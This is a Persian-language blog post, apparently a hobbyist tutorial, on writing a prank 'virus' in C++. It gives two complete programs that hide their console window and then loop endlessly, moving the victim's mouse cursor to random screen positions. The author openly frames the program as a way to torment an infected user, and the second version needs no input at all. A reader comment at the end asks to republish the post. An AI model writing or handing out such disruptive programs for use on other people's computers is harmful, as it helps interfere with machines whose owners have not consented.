تو این پست تصمیم گرفتم آموزش درست کردن یه ویروس جالب به زبان ++C رو توضیح بدم که موجب بهم ریختگی اعصاب کاربر قربانی بشه و شاید هم بعضی حرفارو زیر لبی بهمون بچسبونه که امیدوارم از اونجور مسائل پیش نیاد
اول از همه نیاز داریم که ابزار Code Blocks رو دانلود کنیم که برای اینکار میتونیم از سایت های ایرانی استفاده کنیم یا اینکه از سایت خود کد بلاکس دانلودش کنیم ، البته میشه این ویروس رو با ویژوال استودیو هم نوشت ولی از اونجایی که من قبلا از کد بلاکس برای کد نویسی سی پلاس پلاس استفاده میکردم بخاطر همین رابطه ی خوبی باهاش دارم و اینطور شد که تصمیم گرفتم از همین ابزار برای ویروس نویسی استفاده کنم و آموزشو با همین ابزار پیش ببرم چون اگه میخواستم سوئیچ کنم روی ویژوال استودیو باید یه سری چیزارو اینور و اونور میکردم که موجب میشد حوصلم سر بره و ...
در کل بعد از نصب کد بلاکس یه پروژه ی کنسول به زبان سی پلاس پلاس درست کنین و وارد قسمت کد نویسی اون بشین ، حالا کد های پایین رو داخل اون کپی کنین تا بریم سراغ نحوه ی کار ویروس و توضیحات کدها
#include <iostream>
#include <windows.h>
using namespace std;
int main()
{
int meghdar1;
int meghdar2;
cout<<"Enter a random number 1:";
cin>>meghdar1;
cout<<"Enter a random number 2:";
cin>>meghdar2;
FreeConsole();
while(1)
{
int meghdar1=rand()%1600;
int meghdar2=rand()%900;
SetCursorPos(meghdar1,meghdar2);
}
return 0;
}
تو خط اول و دوم ما کتابخونه های مورد نظر رو وارد برنامه کردیم ، تو خط سوم یه فضای نام ایجاد کردیم ، بعدش تابع main رو تعریف کردیم و داخلش دو تا متغیر از نوع عدد صحیح یا همون integer ایجاد کردیم و بعد از گرفتن ورودی از کاربر اون ورودی هارو ریختیم داخل متغیر های ساخته شده که با اسم meghdar1 و meghdar2 مشخص شدن ، بعدش یه حلقه ایجاد کردیم و داخلش کدهای مربوط به حرکات ماوس رو تنظیم کردیم که با استفاده random اینکار رو انجام دادیم
حالا بریم سراغ سوالی که باید اول از همه چیز جوابشو میدادم ولی خواستم تو کف بزارمتون تا اینکه وسطای پست بهتون توضیح بدم D:
کار این برنامه دقیقا چیه ؟ این برنامه موجب میشه که ما از کاربر یه ورودی رو دریافت کنیم و با استفاده از اون مقادیر ، اشاره گر ماوس رو بصورت تصادفی بچرخونیم تا کاربر هنگ کنه
حالا اگه بخوایم از کاربر ورودی نگیریم و بصورت تصادفی برنامه بعد از اجرا شدن اینکار رو انجام بده باید چیکار کنیم ؟ اونموقع باید بیخیال ورودی گرفتن از کاربر بشیم و به این شکل عمل کنیم که موجب میشه ما از قبل برای مقادیر کد نویسی کنیم تا نیازی نباشه که اون مقدار رو از کاربر بگیریم
#include <iostream>
#include <windows.h>
using namespace std;
int main()
{
FreeConsole();
while(1)
{
int meghdar1=rand()%1600;
int meghdar2=rand()%900;
SetCursorPos(meghdar1,meghdar2);
}
return 0;
}
حالا وقتی که اجرا کنیم ، متوجه میشیم که برنامه بدون اینکه از کاربر ورودی دریافت کنه ، مستقیم کار خودشو انجام میده که همین موجب میشه که اعصاب فرد آلوده شده به این ویروس خورد بشه و سرشو بکوبه به دیوار و بقیه ی جریانات که تو مقدمه ی این پست گفتم
" امیدوارم این پست بدرد سی پلاس پلاس کارای وبلاگمون بخوره "
موفق باشید
خسته نباشید
میتونیم با ذکر منبع از مطالب شما کپی کنیم؟